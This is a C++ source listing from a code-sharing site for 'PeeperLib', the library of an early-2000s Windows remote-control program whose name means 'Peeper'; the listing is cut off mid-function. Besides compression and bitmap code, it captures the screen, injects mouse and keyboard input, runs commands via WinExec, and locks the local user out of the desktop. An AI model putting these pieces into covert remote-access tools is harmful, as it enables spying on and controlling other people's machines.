Code/Resource
Windows Develop
Linux-Unix program
Internet-Socket-Network
Web Server
Browser Client
Ftp Server
Ftp Client
Browser Plugins
Proxy Server
Email Server
Email Client
WEB Mail
Firewall-Security
Telnet Server
Telnet Client
ICQ-IM-Chat
Search Engine
Sniffer Package capture
Remote Control
xml-soap-webservice
P2P
WEB(ASP,PHP,...)
TCP/IP Stack
SNMP
Grid Computing
SilverLight
DNS
Cluster Service
Network Security
Communication-Mobile
Game Program
Editor
Multimedia program
Graph program
Compiler program
Compress-Decompress algrithms
Crypt_Decrypt algrithms
Mathimatics-Numerical algorithms
MultiLanguage
Disk/Storage
Java Develop
assembly language
Applications
Other systems
Database system
Embeded-SCM Develop
FlashMX/Flex
source in ebook
Delphi VCL
OS Develop
MiddleWare
MPI
MacOS develop
LabView
ELanguage
Software/Tools
E-Books
Artical/Document
PeeperLib.cpp
Package: TOUKUI-1.5.zip [view]
Upload User: xztxsm
Upload Date: 2007-02-12
Package Size: 150k
Code Size: 42k
Category:
Remote Control
Development Platform:
Visual C++
- ///////////////////////////////////////////////////////////////////////////////
- // 远程控制软件-偷窥者 开发库 //
- // 日期:2001/10/02 //
- // 作者:刘东发 //
- // Email:dongfa@yeah.net //
- // http://dongfa.yeah.net //
- // OICQ:5584173 阿东 //
- // 作者声明: //
- // 此部分代码全是作者所写,可以随便传播,但要保持文件的完整性,有问题 //
- // 或者意见请来信,谢谢! //
- ///////////////////////////////////////////////////////////////////////////////
- #include "stdafx.h"
- #include "PeeperLib.h"
- #include "PeeperZip.h"
- #include "Base64.h"
- #include <afxinet.h>
- #pragma comment(lib, "Wininet.lib")
- BOOL WINAPI PL_InitSocket()
- {
- #define MAJOR_VERSION 1
- #define MINOR_VERSION 2
- int nStatus = 0;
- WORD wMajorVersion = MAJOR_VERSION;
- WORD wMinorVersion = MINOR_VERSION;
- WORD wVersionReqd = MAKEWORD(wMajorVersion, wMinorVersion);
- WSADATA lpmyWSAData;
- nStatus = ::WSAStartup(wVersionReqd, &lpmyWSAData);
- if(nStatus != 0)
- {
- return FALSE;
- }
- return TRUE;
- }
- BOOL WINAPI PL_TermSocket()
- {
- return (::WSACleanup() == 0)?TRUE : FALSE;
- }
- int WINAPI PL_SendSocketData(SOCKET s, BYTE *chData, int nLen, BYTE chFlag, UINT uFlag)
- {
- int nRet = INVALID_SOCKET;
- if(s != INVALID_SOCKET)
- {
- char *chTemp = new char[nLen + 3];
- ZeroMemory(chTemp, nLen + 3);
- if(chFlag == PL_NONE) // only data
- {
- if(chData != NULL)
- {
- if(uFlag == MSG_OOB)
- {
- //实际数据大小为N,以MSG_OOB发送时数据长度要加1
- nLen += 1;
- }
- nRet = ::send(s, (char *)chData, nLen, uFlag);
- }
- else
- {
- nRet = 0;
- }
- }
- else
- {
- chTemp[0] = chFlag;
- if(chData != NULL)
- {
- memcpy(chTemp + 1, chData, nLen);
- }
- else
- {
- nLen = 0;
- }
- if(uFlag == MSG_OOB)
- {
- //实际数据大小为N,以MSG_OOB发送时数据长度要加1
- nLen += 1;
- }
- nRet = ::send(s, chTemp, nLen+1, uFlag);
- }
- delete []chTemp;
- }
- return nRet;
- }
- int WINAPI PL_ReadSocketData(SOCKET s, BYTE *chData, int nLen, BYTE *chFlag, UINT uFlag)
- {
- int nRet = INVALID_SOCKET;
- if(s != INVALID_SOCKET)
- {
- nRet = ::recv(s, (char *)chData, nLen, uFlag);
- if(nRet > 0)
- {
- if(chFlag != NULL)
- {
- *chFlag = chData[0];
- }
- }
- }
- return nRet;
- }
- HGLOBAL WINAPI PL_LZ77_Zip(HGLOBAL hUnZip)
- {
- int _n = ::GetTickCount();
- int nSize = ::GlobalSize(hUnZip);
- LPBYTE lpData = (LPBYTE)::GlobalLock(hUnZip);
- HGLOBAL hZip = NULL;
- if(nSize > 0 && lpData != NULL)
- {
- const int nMax = 65536;
- BYTE byTemp[nMax + 16];
- CCompressLZ77 cc;
- WORD wFlag1 = 0;
- WORD wFlag2 = 0;
- int nLast = nSize;
- int nReal = 0;
- hZip = ::GlobalAlloc(GHND, nMax+16);
- LPBYTE lpZipData = (LPBYTE)::GlobalLock(hZip);
- int nPos = 0;
- int nZipPos = 0;
- while(nLast > 0)
- {
- nReal = min(nLast, nMax);
- nLast -= nReal;
- if(nReal == nMax)
- {
- wFlag1 = 0;
- }
- else
- {
- wFlag1 = nReal;
- }
- memcpy(lpZipData + nZipPos, &wFlag1, sizeof(WORD));
- nZipPos += sizeof(WORD);
- int nRetLen = 0;
- nRetLen = cc.Compress(lpData + nPos, nReal, byTemp);
- if(nRetLen == 0) // can't compress the block
- {
- wFlag2 = wFlag1;
- memcpy(lpZipData + nZipPos, &wFlag2, sizeof(WORD));
- nZipPos += sizeof(WORD);
- memcpy(lpZipData + nZipPos, lpData + nPos, nReal);
- nZipPos += nReal;
- }
- else
- {
- wFlag2 = (WORD)nRetLen;
- memcpy(lpZipData + nZipPos, &wFlag2, sizeof(WORD));
- nZipPos += sizeof(WORD);
- memcpy(lpZipData + nZipPos, byTemp, nRetLen);
- nZipPos += nRetLen;
- }
- nPos += nReal;
- ::GlobalUnlock(hZip);
- if(nLast > 0)
- {
- hZip = ::GlobalReAlloc(hZip, nZipPos + nMax, 0);
- }
- else
- {
- hZip = ::GlobalReAlloc(hZip, nZipPos, 0);
- }
- lpZipData = (LPBYTE)::GlobalLock(hZip);
- }
- ::GlobalUnlock(hZip);
- }
- TRACE(_T("PL_LZ77_Zip--Time:%d, %d-->%d.n"),
- GetTickCount() - _n, GlobalSize(hUnZip), GlobalSize(hZip));
- return hZip;
- }
- HGLOBAL WINAPI PL_LZ77_UnZip(HGLOBAL hZip)
- {
- int _n = ::GetTickCount();
- int nSize = ::GlobalSize(hZip);
- LPBYTE lpZipData = (LPBYTE)::GlobalLock(hZip);
- HGLOBAL hUnZip = NULL;
- if(nSize > 0 && lpZipData != NULL)
- {
- const int nMax = 65536;
- BYTE byTemp[nMax + 16];
- CCompressLZ77 cc;
- WORD wFlag1 = 0;
- WORD wFlag2 = 0;
- int nLast = nSize;
- int nReal = 0;
- hUnZip = ::GlobalAlloc(GHND, nMax+16);
- LPBYTE lpData = (LPBYTE)::GlobalLock(hUnZip);
- int nPos = 0;
- int nZipPos = 0;
- while(nLast > 0)
- {
- memcpy(&wFlag1, lpZipData + nZipPos, sizeof(WORD));
- nZipPos += sizeof(WORD);
- memcpy(&wFlag2, lpZipData + nZipPos, sizeof(WORD));
- nZipPos += sizeof(WORD);
- nLast -= 2*sizeof(WORD);
- if(wFlag1 == 0)
- {
- nReal = nMax;
- }
- else
- {
- nReal = wFlag1;
- }
- nLast -= wFlag2 ? (wFlag2) : nReal;
- if(wFlag2 == wFlag1)
- {
- memcpy(byTemp, lpZipData + nZipPos, nReal);
- nZipPos += nReal;
- }
- else
- {
- // if(AfxIsValidAddress(lpZipData + nZipPos, nReal))
- {
- if(!cc.Decompress(byTemp, nReal, lpZipData + nZipPos))
- {
- break ;
- }
- }
- nZipPos += wFlag2;
- }
- memcpy(lpData + nPos, byTemp, nReal);
- nPos += nReal;
- ::GlobalUnlock(hUnZip);
- if(nLast > 0)
- {
- if((::GlobalSize(hUnZip) - nPos) < nMax)
- {
- hUnZip = ::GlobalReAlloc(hUnZip, nPos + nMax, 0);
- }
- }
- else
- {
- hUnZip = ::GlobalReAlloc(hUnZip, nPos, 0);
- }
- lpData = (LPBYTE)::GlobalLock(hUnZip);
- }
- ::GlobalUnlock(hUnZip);
- }
- TRACE(_T("PL_LZ77_UnZip--Time:%d, %d-->%d.n"),
- GetTickCount() - _n, GlobalSize(hZip), GlobalSize(hUnZip));
- return hUnZip;
- }
- HGLOBAL WINAPI PL_LZSS_Zip(HGLOBAL hUnZip)
- {
- int _n = ::GetTickCount();
- HGLOBAL hZip = NULL;
- LPBYTE lpData = (LPBYTE)::GlobalLock(hUnZip);
- if(lpData != NULL)
- {
- int nLen = ::GlobalSize(hUnZip);
- C_LZSS lz;
- hZip = lz.Encode((char *)lpData, nLen);
- ::GlobalUnlock(hUnZip);
- }
- TRACE(_T("PL_LZSS_Zip--Time:%d, %d-->%d.n"),
- GetTickCount() - _n, GlobalSize(hUnZip), GlobalSize(hZip));
- return hZip;
- }
- HGLOBAL WINAPI PL_LZSS_UnZip(HGLOBAL hZip)
- {
- int _n = ::GetTickCount();
- HGLOBAL hUnZip = NULL;
- LPBYTE lpData = (LPBYTE)::GlobalLock(hZip);
- if(lpData != NULL)
- {
- int nLen = ::GlobalSize(hZip);
- C_LZSS lz;
- hUnZip = lz.Decode((char *)lpData, nLen);
- ::GlobalUnlock(hZip);
- }
- TRACE(_T("PL_LZSS_UnZip--Time:%d, %d-->%d.n"),
- GetTickCount() - _n, GlobalSize(hZip), GlobalSize(hUnZip));
- return hUnZip;
- }
- HGLOBAL WINAPI PL_ARI_Zip(HGLOBAL hUnZip)
- {
- int _n = ::GetTickCount();
- HGLOBAL hZip = NULL;
- LPBYTE lpData = (LPBYTE)::GlobalLock(hUnZip);
- if(lpData != NULL)
- {
- int nLen = ::GlobalSize(hUnZip);
- C_ARI lz;
- hZip = lz.Encode((char *)lpData, nLen);
- ::GlobalUnlock(hUnZip);
- }
- TRACE(_T("PL_ARI_Zip--Time:%d, %d-->%d.n"),
- GetTickCount() - _n, GlobalSize(hUnZip), GlobalSize(hZip));
- return hZip;
- }
- HGLOBAL WINAPI PL_ARI_UnZip(HGLOBAL hZip)
- {
- int _n = ::GetTickCount();
- HGLOBAL hUnZip = NULL;
- LPBYTE lpData = (LPBYTE)::GlobalLock(hZip);
- if(lpData != NULL)
- {
- int nLen = ::GlobalSize(hZip);
- C_ARI lz;
- hUnZip = lz.Decode((char *)lpData, nLen);
- ::GlobalUnlock(hZip);
- }
- TRACE(_T("PL_ARI_UnZip--Time:%d, %d-->%d.n"),
- GetTickCount() - _n, GlobalSize(hZip), GlobalSize(hUnZip));
- return hUnZip;
- }
- HGLOBAL WINAPI PL_LZW_Zip(HGLOBAL hUnZip)
- {
- int _n = ::GetTickCount();
- HGLOBAL hZip = NULL;
- LPBYTE lpData = (LPBYTE)::GlobalLock(hUnZip);
- if(lpData != NULL)
- {
- int nLen = ::GlobalSize(hUnZip);
- C_LZW lz;
- hZip = lz.Encode((char *)lpData, nLen);
- ::GlobalUnlock(hUnZip);
- }
- TRACE(_T("PL_LZW_Zip--Time:%d, %d-->%d.n"),
- GetTickCount() - _n, GlobalSize(hUnZip), GlobalSize(hZip));
- return hZip;
- }
- HGLOBAL WINAPI PL_LZW_UnZip(HGLOBAL hZip)
- {
- int _n = ::GetTickCount();
- HGLOBAL hUnZip = NULL;
- LPBYTE lpData = (LPBYTE)::GlobalLock(hZip);
- if(lpData != NULL)
- {
- int nLen = ::GlobalSize(hZip);
- C_LZW lz;
- hUnZip = lz.Decode((char *)lpData, nLen);
- ::GlobalUnlock(hZip);
- }
- TRACE(_T("PL_LZW_UnZip--Time:%d, %d-->%d.n"),
- GetTickCount() - _n, GlobalSize(hZip), GlobalSize(hUnZip));
- return hUnZip;
- }
- BOOL WINAPI PL_Bmp2Gry(HBITMAP hBmp, LPBYTE *lpGryData, SIZE *szGrySize)
- {
- //目前只支持256色
- LPBYTE lpBitsData = NULL;
- int nBmpSize = 0;
- BITMAPINFO *pInfo = NULL;
- BITMAP bm;
- GetObject(hBmp, sizeof(BITMAP), &bm);
- if(bm.bmBitsPixel != 8)
- {
- return FALSE;
- }
- szGrySize->cx = bm.bmWidth; szGrySize->cy = bm.bmHeight;
- nBmpSize = ((((bm.bmWidth * bm.bmBitsPixel) + 31) & ~31) >> 3) * bm.bmHeight;
- lpBitsData = new BYTE[nBmpSize];
- memset(lpBitsData, 0, nBmpSize);
- pInfo = (BITMAPINFO*)new BYTE[sizeof(BITMAPINFOHEADER) + 256*sizeof(RGBQUAD)];
- pInfo->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
- pInfo->bmiHeader.biWidth = bm.bmWidth;
- pInfo->bmiHeader.biHeight = bm.bmHeight;
- pInfo->bmiHeader.biPlanes = bm.bmPlanes;
- pInfo->bmiHeader.biBitCount = bm.bmBitsPixel;
- pInfo->bmiHeader.biCompression = BI_RGB;
- pInfo->bmiHeader.biSizeImage = nBmpSize;
- pInfo->bmiHeader.biXPelsPerMeter = 0;
- pInfo->bmiHeader.biYPelsPerMeter = 0;
- pInfo->bmiHeader.biClrUsed = 0;
- pInfo->bmiHeader.biClrImportant = 0;
- HDC hMemDC;
- HBITMAP hOldBitmap;
- RGBQUAD rgb[256];
- memset(rgb, 0, 256);
- hMemDC = CreateCompatibleDC(NULL);
- hOldBitmap = (HBITMAP)SelectObject(hMemDC, hBmp);
- // Get the DIBSection's color table
- GetDIBColorTable(hMemDC, 0, 256, rgb);
- // Populate BITMAPINFO header info
- // Now actually get the bits
- CClientDC cdc( CWnd::GetDesktopWindow() );
- ::GetDIBits(cdc.GetSafeHdc(), hBmp,
- 0, (WORD)bm.bmHeight, lpBitsData, pInfo, DIB_RGB_COLORS);
- *lpGryData = new BYTE[nBmpSize];
- memset(*lpGryData, 0, nBmpSize);
- for(int i = 0; i < nBmpSize; i ++)
- {
- int nIndex = lpBitsData[i];
- double r = (double)(rgb[nIndex].rgbRed);
- double g = (double)(rgb[nIndex].rgbGreen);
- double b = (double)(rgb[nIndex].rgbBlue);
- BYTE c = (BYTE)(r*0.29900 + g*0.58700 + b*0.11400);
- int pos = ((bm.bmHeight - (i/bm.bmWidth) - 1)*bm.bmWidth) + (i % bm.bmWidth);
- (*lpGryData)[pos] = c;
- }
- SelectObject(hMemDC, hOldBitmap);
- DeleteDC(hMemDC);
- delete []lpBitsData;
- lpBitsData = NULL;
- return TRUE;
- }
- BOOL WINAPI PL_DrawGry(HDC hDC, LPBYTE lpGryData, SIZE szGrySize)
- {
- //暂不实现
- return TRUE;
- }
- HBITMAP WINAPI PL_GetBitmap(HWND hWnd)
- {
- HDC hWndDC = NULL;
- HDC hMemDC = NULL;
- HBITMAP hMemBmp = NULL;
- HBITMAP hOldBmp = NULL;
- RECT rect;
- int w = 0, h = 0;
- if(hWnd == NULL)
- {
- hWnd = ::GetDesktopWindow();
- }
- hWndDC = ::GetWindowDC(hWnd);
- hMemDC = ::CreateCompatibleDC(hWndDC);
- ::GetWindowRect(hWnd, &rect);
- w = rect.right - rect.left;
- h = rect.bottom - rect.top;
- hMemBmp = ::CreateCompatibleBitmap(hWndDC, w, h);
- hOldBmp = (HBITMAP)::SelectObject(hMemDC, hMemBmp);
- ::BitBlt(hMemDC, 0, 0, w, h, hWndDC, 0, 0, SRCCOPY);
- // Why???
- hMemBmp = (HBITMAP)::SelectObject(hMemDC, hOldBmp);
- ::DeleteObject(hOldBmp);
- ::ReleaseDC(NULL, hMemDC);
- ::ReleaseDC(NULL, hWndDC);
- return hMemBmp;
- }
- BOOL WINAPI PL_DrawBmp(HDC hDC, LPRECT lpDCRect, HBITMAP hBmp, LPRECT lpBmpRect, CPalette* pPal)
- {
- HDC hMemDC = NULL;
- BITMAP bm;
- hMemDC = ::CreateCompatibleDC(hDC);
- ::GetObject(hBmp, sizeof(bm), &bm);
- ::SelectObject(hMemDC, hBmp);
- if(lpBmpRect == NULL)
- {
- if(lpDCRect != NULL)
- {
- ::SetStretchBltMode(hDC, COLORONCOLOR);
- ::StretchBlt(hDC, lpDCRect->left, lpDCRect->top, RECTWIDTH(lpDCRect), RECTHEIGHT(lpDCRect),
- hMemDC, 0, 0, bm.bmWidth, bm.bmHeight, SRCCOPY);
- }
- else
- {
- ::BitBlt(hDC, 0, 0, bm.bmWidth, bm.bmHeight, hMemDC, 0, 0, SRCCOPY);
- }
- }
- else
- {
- if(lpDCRect != NULL)
- {
- ::SetStretchBltMode(hDC, COLORONCOLOR);
- ::StretchBlt(hDC, lpDCRect->left, lpDCRect->top, RECTWIDTH(lpDCRect), RECTHEIGHT(lpDCRect),
- hMemDC, lpBmpRect->left, lpBmpRect->top, RECTWIDTH(lpBmpRect), RECTHEIGHT(lpBmpRect), SRCCOPY);
- }
- else
- {
- ::BitBlt(hDC, 0, 0, RECTWIDTH(lpBmpRect), RECTHEIGHT(lpBmpRect),
- hMemDC, lpDCRect->left, lpDCRect->top, SRCCOPY);
- }
- }
- ::ReleaseDC(NULL, hMemDC);
- return TRUE;
- }
- int WINAPI PL_ColorsNum(LPBYTE lpbi)
- {
- WORD wBitCount = 0;
- if(IS_WIN30_DIB(lpbi))
- {
- DWORD dwClrUsed = ((LPBITMAPINFOHEADER)lpbi)->biClrUsed;
- if(dwClrUsed != 0)
- return dwClrUsed;
- }
- if(IS_WIN30_DIB(lpbi))
- wBitCount = ((LPBITMAPINFOHEADER)lpbi)->biBitCount;
- else
- wBitCount = ((LPBITMAPCOREHEADER)lpbi)->bcBitCount;
- switch (wBitCount)
- {
- case 1:
- return 2;
- case 4:
- return 16;
- case 8:
- return 256;
- default:
- return 0;
- }
- }
- int WINAPI PL_DIBWidth(LPBYTE lpDIB)
- {
- LPBITMAPINFOHEADER lpbmi;
- LPBITMAPCOREHEADER lpbmc;
- lpbmi = (LPBITMAPINFOHEADER)lpDIB;
- lpbmc = (LPBITMAPCOREHEADER)lpDIB;
- if (IS_WIN30_DIB(lpDIB))
- return lpbmi->biWidth;
- else
- return lpbmc->bcWidth;
- }
- int WINAPI PL_DIBHeight(LPBYTE lpDIB)
- {
- LPBITMAPINFOHEADER lpbmi;
- LPBITMAPCOREHEADER lpbmc;
- lpbmi = (LPBITMAPINFOHEADER)lpDIB;
- lpbmc = (LPBITMAPCOREHEADER)lpDIB;
- if (IS_WIN30_DIB(lpDIB))
- return lpbmi->biHeight;
- else
- return lpbmc->bcHeight;
- }
- int WINAPI PL_PaletteSize(LPBYTE lpbi)
- {
- if(IS_WIN30_DIB(lpbi))
- return (WORD)(::PL_ColorsNum(lpbi)*sizeof(RGBQUAD));
- else
- return (WORD)(::PL_ColorsNum(lpbi)*sizeof(RGBTRIPLE));
- }
- HDIB WINAPI PL_BmpToDIB(HBITMAP hBitmap, HPALETTE hPal, int nBits)
- {
- BITMAP bm;
- BITMAPINFOHEADER bi;
- LPBITMAPINFOHEADER lpbi;
- DWORD dwLen;
- HANDLE hDIB, h;
- HDC hDC;
- WORD biBits;
- if(!hBitmap)
- return NULL;
- if(!GetObject(hBitmap, sizeof(bm), (LPSTR)&bm))
- return NULL;
- if (hPal == NULL)
- hPal = (HPALETTE) GetStockObject(DEFAULT_PALETTE);
- biBits = bm.bmPlanes * bm.bmBitsPixel;
- if (biBits <= 1)
- biBits = 1;
- else if (biBits <= 4)
- biBits = 4;
- else if (biBits <= 8)
- biBits = 8;
- else
- biBits = 24;
- if(nBits != -1)
- {
- if(nBits == 1 || nBits == 4 || nBits == 8 || nBits == 24)
- {
- biBits = nBits;
- }
- }
- bi.biSize = sizeof(BITMAPINFOHEADER);
- bi.biWidth = bm.bmWidth;
- bi.biHeight = bm.bmHeight;
- bi.biPlanes = 1;
- bi.biBitCount = biBits;
- bi.biCompression = BI_RGB;
- bi.biSizeImage = 0;
- bi.biXPelsPerMeter = 0;
- bi.biYPelsPerMeter = 0;
- bi.biClrUsed = 0;
- bi.biClrImportant = 0;
- dwLen = bi.biSize + PL_PaletteSize((LPBYTE)&bi);
- hDC = GetDC(NULL);
- hPal = SelectPalette(hDC, hPal, FALSE);
- RealizePalette(hDC);
- hDIB = GlobalAlloc(GHND, dwLen);
- if (!hDIB)
- {
- SelectPalette(hDC, hPal, TRUE);
- RealizePalette(hDC);
- ReleaseDC(NULL, hDC);
- return NULL;
- }
- lpbi = (LPBITMAPINFOHEADER)GlobalLock(hDIB);
- *lpbi = bi;
- GetDIBits(hDC, hBitmap, 0, (UINT)bi.biHeight, NULL, (LPBITMAPINFO)lpbi,
- DIB_RGB_COLORS);
- bi = *lpbi;
- GlobalUnlock(hDIB);
- if (bi.biSizeImage == 0)
- bi.biSizeImage = WIDTHBYTES((DWORD)bm.bmWidth * biBits) * bm.bmHeight;
- dwLen = bi.biSize + PL_PaletteSize((LPBYTE)&bi) + bi.biSizeImage;
- if (h = GlobalReAlloc(hDIB, dwLen, 0))
- hDIB = h;
- else
- {
- GlobalFree(hDIB);
- hDIB = NULL;
- SelectPalette(hDC, hPal, TRUE);
- RealizePalette(hDC);
- ReleaseDC(NULL, hDC);
- return NULL;
- }
- lpbi = (LPBITMAPINFOHEADER)GlobalLock(hDIB);
- if (GetDIBits(hDC, hBitmap, 0, (UINT)bi.biHeight, (LPSTR)lpbi +
- (WORD)lpbi->biSize + PL_PaletteSize((LPBYTE)lpbi), (LPBITMAPINFO)lpbi,
- DIB_RGB_COLORS) == 0)
- {
- GlobalUnlock(hDIB);
- hDIB = NULL;
- SelectPalette(hDC, hPal, TRUE);
- RealizePalette(hDC);
- ReleaseDC(NULL, hDC);
- return NULL;
- }
- bi = *lpbi;
- GlobalUnlock(hDIB);
- SelectPalette(hDC, hPal, TRUE);
- RealizePalette(hDC);
- ReleaseDC(NULL, hDC);
- return (HDIB) hDIB;
- }
- BOOL WINAPI PL_CreateDIBPalette(HDIB hDIB, CPalette* pPal)
- {
- LPLOGPALETTE lpPal = NULL;
- HANDLE hLogPal = NULL;
- HPALETTE hPal = NULL;
- int i; // loop index
- WORD wNumColors; // number of colors in color table
- LPSTR lpbi; // pointer to packed-DIB
- LPBITMAPINFO lpbmi; // pointer to BITMAPINFO structure (Win3.0)
- LPBITMAPCOREINFO lpbmc; // pointer to BITMAPCOREINFO structure (old)
- BOOL bWinStyleDIB; // flag which signifies whether this is a Win3.0 DIB
- BOOL bResult = FALSE;
- if (hDIB == NULL)
- return FALSE;
- lpbi = (LPSTR) ::GlobalLock((HGLOBAL) hDIB);
- lpbmi = (LPBITMAPINFO)lpbi;
- lpbmc = (LPBITMAPCOREINFO)lpbi;
- wNumColors = ::PL_ColorsNum((LPBYTE)lpbi);
- if (wNumColors != 0)
- {
- hLogPal = ::GlobalAlloc(GHND, sizeof(LOGPALETTE)
- + sizeof(PALETTEENTRY) * wNumColors);
- if (hLogPal == 0)
- {
- ::GlobalUnlock((HGLOBAL) hDIB);
- return FALSE;
- }
- lpPal = (LPLOGPALETTE) ::GlobalLock((HGLOBAL) hLogPal);
- lpPal->palVersion = PALVERSION;
- lpPal->palNumEntries = (WORD)wNumColors;
- bWinStyleDIB = IS_WIN30_DIB(lpbi);
- for (i = 0; i < (int)wNumColors; i++)
- {
- if (bWinStyleDIB)
- {
- lpPal->palPalEntry[i].peRed = lpbmi->bmiColors[i].rgbRed;
- lpPal->palPalEntry[i].peGreen = lpbmi->bmiColors[i].rgbGreen;
- lpPal->palPalEntry[i].peBlue = lpbmi->bmiColors[i].rgbBlue;
- lpPal->palPalEntry[i].peFlags = 0;
- }
- else
- {
- lpPal->palPalEntry[i].peRed = lpbmc->bmciColors[i].rgbtRed;
- lpPal->palPalEntry[i].peGreen = lpbmc->bmciColors[i].rgbtGreen;
- lpPal->palPalEntry[i].peBlue = lpbmc->bmciColors[i].rgbtBlue;
- lpPal->palPalEntry[i].peFlags = 0;
- }
- }
- bResult = pPal->CreatePalette(lpPal);
- ::GlobalUnlock((HGLOBAL) hLogPal);
- ::GlobalFree((HGLOBAL) hLogPal);
- }
- ::GlobalUnlock((HGLOBAL) hDIB);
- return bResult;
- }
- LPBYTE WINAPI PL_DIBBits(LPBYTE lpbi)
- {
- return (lpbi + *(LPDWORD)lpbi + ::PL_PaletteSize(lpbi));
- }
- BOOL WINAPI PL_DrawDIB(HDC hDC, LPRECT lpDCRect, HDIB hDIB,
- LPRECT lpDIBRect, CPalette* pPal)
- {
- LPSTR lpDIBHdr;
- LPSTR lpDIBBits;
- BOOL bSuccess = FALSE;
- HPALETTE hPal = NULL;
- HPALETTE hOldPal = NULL;
- if(hDIB == NULL)
- return -1;
- lpDIBHdr = (LPSTR)::GlobalLock((HGLOBAL) hDIB);
- lpDIBBits = (LPSTR)::PL_DIBBits((LPBYTE)lpDIBHdr);
- if(pPal != NULL)
- {
- hPal = (HPALETTE) pPal->m_hObject;
- hOldPal = ::SelectPalette(hDC, hPal, TRUE);
- }
- if(lpDIBRect == NULL)
- {
- if(lpDCRect != NULL)
- {
- ::SetStretchBltMode(hDC, COLORONCOLOR);
- bSuccess = ::StretchDIBits(hDC, lpDCRect->left, lpDCRect->top,
- RECTWIDTH(lpDCRect), RECTHEIGHT(lpDCRect), 0, 0,
- PL_DIBWidth((LPBYTE)lpDIBHdr), PL_DIBHeight((LPBYTE)lpDIBHdr),
- lpDIBBits, (LPBITMAPINFO)lpDIBHdr, DIB_RGB_COLORS, SRCCOPY);
- }
- else
- {
- bSuccess = ::SetDIBitsToDevice(hDC, 0, 0,
- PL_DIBWidth((LPBYTE)lpDIBHdr), PL_DIBHeight((LPBYTE)lpDIBHdr),
- 0, 0, 0, PL_DIBHeight((LPBYTE)lpDIBHdr),
- lpDIBBits, (LPBITMAPINFO)lpDIBHdr, DIB_RGB_COLORS);
- }
- }
- else
- {
- if(lpDCRect != NULL)
- {
- ::SetStretchBltMode(hDC, COLORONCOLOR);
- bSuccess = ::StretchDIBits(hDC, lpDCRect->left, lpDCRect->top,
- RECTWIDTH(lpDCRect), RECTHEIGHT(lpDCRect),
- lpDIBRect->left, lpDIBRect->top,
- RECTWIDTH(lpDIBRect), RECTHEIGHT(lpDIBRect),
- lpDIBBits, (LPBITMAPINFO)lpDIBHdr, DIB_RGB_COLORS, SRCCOPY);
- }
- else
- {
- bSuccess = ::SetDIBitsToDevice(hDC, 0, 0,
- RECTWIDTH(lpDIBRect), RECTHEIGHT(lpDIBRect),
- 0, 0, 0, RECTHEIGHT(lpDIBRect),
- lpDIBBits, (LPBITMAPINFO)lpDIBHdr, DIB_RGB_COLORS);
- }
- }
- ::GlobalUnlock((HGLOBAL)hDIB);
- if (hOldPal != NULL)
- {
- ::SelectPalette(hDC, hOldPal, TRUE);
- }
- return bSuccess;
- }
- SIZE WINAPI PL_GetScreenSize()
- {
- SIZE sz;
- sz.cx = ::GetSystemMetrics(SM_CXSCREEN);
- sz.cy = ::GetSystemMetrics(SM_CYSCREEN);
- return sz;
- }
- void WINAPI PL_MouseMove(POINT point)
- {
- ::SetCursorPos(point.x, point.y);
- }
- void WINAPI PL_MouseLButtonDown(POINT point, BOOL bMove)
- {
- if(bMove)
- {
- ::PL_MouseMove(point);
- }
- ::mouse_event(MOUSEEVENTF_LEFTDOWN, point.x, point.y, 0, 0);
- }
- void WINAPI PL_MouseLButtonUp(POINT point, BOOL bMove)
- {
- if(bMove)
- {
- ::PL_MouseMove(point);
- }
- ::mouse_event(MOUSEEVENTF_LEFTUP, point.x, point.y, 0, 0);
- }
- void WINAPI PL_MouseRButtonDown(POINT point, BOOL bMove)
- {
- if(bMove)
- {
- ::PL_MouseMove(point);
- }
- ::mouse_event(MOUSEEVENTF_RIGHTDOWN, point.x, point.y, 0, 0);
- }
- void WINAPI PL_MouseRButtonUp(POINT point, BOOL bMove)
- {
- if(bMove)
- {
- ::PL_MouseMove(point);
- }
- ::mouse_event(MOUSEEVENTF_RIGHTUP, point.x, point.y, 0, 0);
- }
- void WINAPI PL_MouseLButtonDblClk(POINT point, BOOL bMove)
- {
- if(bMove)
- {
- ::PL_MouseMove(point);
- }
- ::PL_MouseLButtonDown(point);
- ::PL_MouseLButtonUp(point);
- ::PL_MouseLButtonDown(point);
- ::PL_MouseLButtonUp(point);
- }
- void WINAPI PL_MouseRButtonDblClk(POINT point, BOOL bMove)
- {
- if(bMove)
- {
- ::PL_MouseMove(point);
- }
- ::PL_MouseRButtonDown(point);
- ::PL_MouseRButtonUp(point);
- ::PL_MouseRButtonDown(point);
- ::PL_MouseRButtonUp(point);
- }
- void WINAPI PL_KeyDown(UINT uChar, UINT uFlag)
- {
- ::keybd_event((BYTE)uChar, (BYTE)uChar, 0, 0);
- }
- void WINAPI PL_KeyUp(UINT uChar, UINT uFlag)
- {
- ::keybd_event((BYTE)uChar, (BYTE)uChar, KEYEVENTF_KEYUP, 0);
- }
- BOOL WINAPI PL_GetHostName(char *chIP, char *chName)
- {
- BOOL bRet = FALSE;
- char chTemp[256];
- hostent* pEnt = NULL;
- ZeroMemory(chTemp, 256);
- int nRet = ::gethostname(chTemp, 256);
- if(nRet == 0)
- {
- if(AfxIsValidAddress(chName, strlen(chTemp)))
- {
- strcpy(chName, chTemp);
- bRet = TRUE;
- }
- if(AfxIsValidAddress(chIP, 16))
- {
- pEnt = ::gethostbyname(chTemp);
- if(pEnt)
- {
- sprintf(chIP, "%d.%d.%d.%d",
- BYTE(pEnt->h_addr_list[0][0]), BYTE(pEnt->h_addr_list[0][1]),
- BYTE(pEnt->h_addr_list[0][2]), BYTE(pEnt->h_addr_list[0][3]));
- bRet = TRUE;
- }
- else
- {
- bRet = FALSE;
- }
- }
- }
- return bRet;
- }
- int WINAPI PL_ExecuteCommand(char *chCommandLine)
- {
- return ::WinExec(chCommandLine, SW_NORMAL);
- }
- void WINAPI PL_LockDesktop(BOOL bLock)
- {
- ::ShowCursor(!bLock);
- ::SystemParametersInfo(SPI_SETFASTTASKSWITCH, (int)(!bLock), NULL, 0);
- ::SystemParametersInfo(SPI_SCREENSAVERRUNNING, (int)bLock, NULL, 0);
- ::EnableWindow(::GetDesktopWindow(), !bLock);
- }
- BOOL WINAPI PL_ExitWindow(UINT uFlag)
- {
- HANDLE hToken = NULL;
- TOKEN_PRIVILEGES tkp;
- BOOL fResult = FALSE;
- if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
- {
- if(LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid))
- {
- tkp.PrivilegeCount = 1;
